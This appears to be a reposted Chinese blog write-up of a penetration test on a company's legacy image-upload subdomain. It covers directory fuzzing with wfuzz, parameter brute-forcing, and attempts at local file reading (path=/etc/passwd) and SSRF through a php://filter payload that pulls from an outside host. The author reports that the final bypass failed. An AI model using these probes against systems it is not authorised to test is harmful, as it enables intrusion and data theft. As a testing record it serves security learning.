记一次历史业务安全测试

栏目: 编程工具 · 发布时间: 6年前

内容简介:最近在对公司历史遗留的老业务进行安全测试,简单记录一下测试的过程。子域名是

最近在对公司历史遗留的老业务进行安全测试,简单记录一下测试的过程。

子域名是 http://upload.xxxx.com/

记一次历史业务安全测试

主页是一个phpinfo的页面,首先对网站进行文件扫描。

wfuzz -w common.txt -z list,-.php-.html –hw 76 http://upload.xxxx.com/FUZZFUZ2Z

********************************************************
* Wfuzz 2.3.4 - The Web Fuzzer                         *
********************************************************

Target: http://upload.xxxx.com/FUZZFUZ2Z
Total requests: 13839

==================================================================
ID   Response   Lines      Word         Chars          Payload    
==================================================================

003313:  C=200      5 L          11 W	    203 Ch	  "crossdomain.xml - "
006047:  C=200    562 L	    2593 W	  46219 Ch	  "index - .php"
006058:  C=200    562 L	    2593 W	  46219 Ch	  "index.php - "
008776:  C=301      0 L	       0 W	      0 Ch	  "php - "
012639:  C=200     86 L	     179 W	   2315 Ch	  "uploadfile - .html"

Total time: 131.0165
Processed Requests: 13839
Filtered Requests: 13834
Requests/sec.: 105.6279

扫描结果中index.php为首页的phpinfo页面,另外扫描发现了 php 目录和uploadfile.html文件。

访问php目录返回401错误:

记一次历史业务安全测试

http://upload.xxxx.com/uploadfile.html 为空白页

记一次历史业务安全测试

查看源代码有所发现:

记一次历史业务安全测试

这里猜测phpPath为php目录,结果证实了我的猜想:

记一次历史业务安全测试

构造参数:

记一次历史业务安全测试

上次文件,查看返回:

记一次历史业务安全测试

图片成功上传,另外发现了一个命名疑似图片裁剪的文件phpcutPhoto.php

先测试了文件上传漏洞,发现服务器进行了图片验证,然后强制改后缀,此路不通

访问 http://upload.xxxx.com/php/phpcutPhoto.php 发现文件不存在,这里走了些弯路

后面测试发现地址应该是 http://upload.xxxx.com/php/cutPhoto.php

前面uploadHead.php中phpPath参数值为php,所以后面文件名误加了php,这里应该是以前的代码有bug

记一次历史业务安全测试

访问后提示打开失败,明显是缺少了图片地址的参数,这里可以使用WAScan、Arjun等 工具 进行参数爆破。我这里就简单用burpsuite fuzz爆破一下:

记一次历史业务安全测试

参数名可以考虑使用 https://github.com/s0md3v/Arjun/blob/master/db/params.txt 里的参数名。

这里我自己简单构造了一些常见的,没包括首字母大写的情况:

img
image
images
imgpath
img_path
file
filename
path
file_path
filepath

参数Fuzz爆破结果:

记一次历史业务安全测试

返回中可以看到,虽然报了错误,但是图片剪切后的文件成功生成了:

记一次历史业务安全测试

访问同服务器的图片域名,发现文件存在:

记一次历史业务安全测试

现在我们可以来测试这个接口的本地文件读取和ssrf漏洞

先测试本地文件包含:

记一次历史业务安全测试

path=/etc/passwd,返回/etc/passwd.jpg.jpg打开失败

把path改成一个不存在的文件:

记一次历史业务安全测试

path=/etc/test,返回/etc/test打开失败

当path为一个存在目录的情况:

记一次历史业务安全测试

测试发现读取一个存在的非图片后缀文件或目录时,会自动把path加上.jpg.jpg

这样的话我们只能通过这个接口探测服务器的文件或目录,但无法进行正常的文件读取的操作

另外我测试了ssrf,发现无法直接访问外部链接

记一次历史业务安全测试

突然发现忘记了php伪协议的操作

记一次历史业务安全测试

php://input没戏,另外尝试了其它协议配合截断读取的方法,也都以失败告终。

但当我测试到path=php://filter/read=string.tolower/resource=http://m3rryz.com/ 返回有了数据

记一次历史业务安全测试

并且我的blog获取到了服务器的请求:

记一次历史业务安全测试

可以看到服务器请求了 http://myblog.com/.jpg.jpg 并返回了404

那么当我在blog上,构造一个x.jpg.jpg的文件,内容为/etc/passwd

然后让path=php://filter/read=string.tolower/resource=http://m3rryz.com/x

是否就可以绕过之前的限制,进行本地文件读取呢?

然而现实很残酷:

记一次历史业务安全测试

这里path必须为真实图片,否则无法进行cut操作。:(

不过过程还是有点意思的,对文件读取和ssrf漏洞了解更深了一些。

如果有其它绕过思路的朋友,希望可以留言指教下。


以上所述就是小编给大家介绍的《记一次历史业务安全测试》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Effective JavaScript

Effective JavaScript

赫尔曼 (David Herman) / 黄博文、喻杨 / 机械工业出版社 / 2014-1-1 / CNY 49.00

Effective 系列丛书经典著作,亚马逊五星级畅销书,Ecma 的JavaScript 标准化委员会著名专家撰写,JavaScript 语言之父、Mozilla CTO —— Brendan Eich 作序鼎力推荐!作者凭借多年标准化委员会工作和实践经验,深刻辨析JavaScript 的内部运作机制、特性、陷阱和编程最佳实践,将它们高度浓缩为极具实践指导意义的 68 条精华建议。 本书共......一起来看看 《Effective JavaScript》 这本书的介绍吧!

SHA 加密
SHA 加密

SHA 加密工具

XML、JSON 在线转换
XML、JSON 在线转换

在线XML、JSON转换工具

RGB HSV 转换
RGB HSV 转换

RGB HSV 互转工具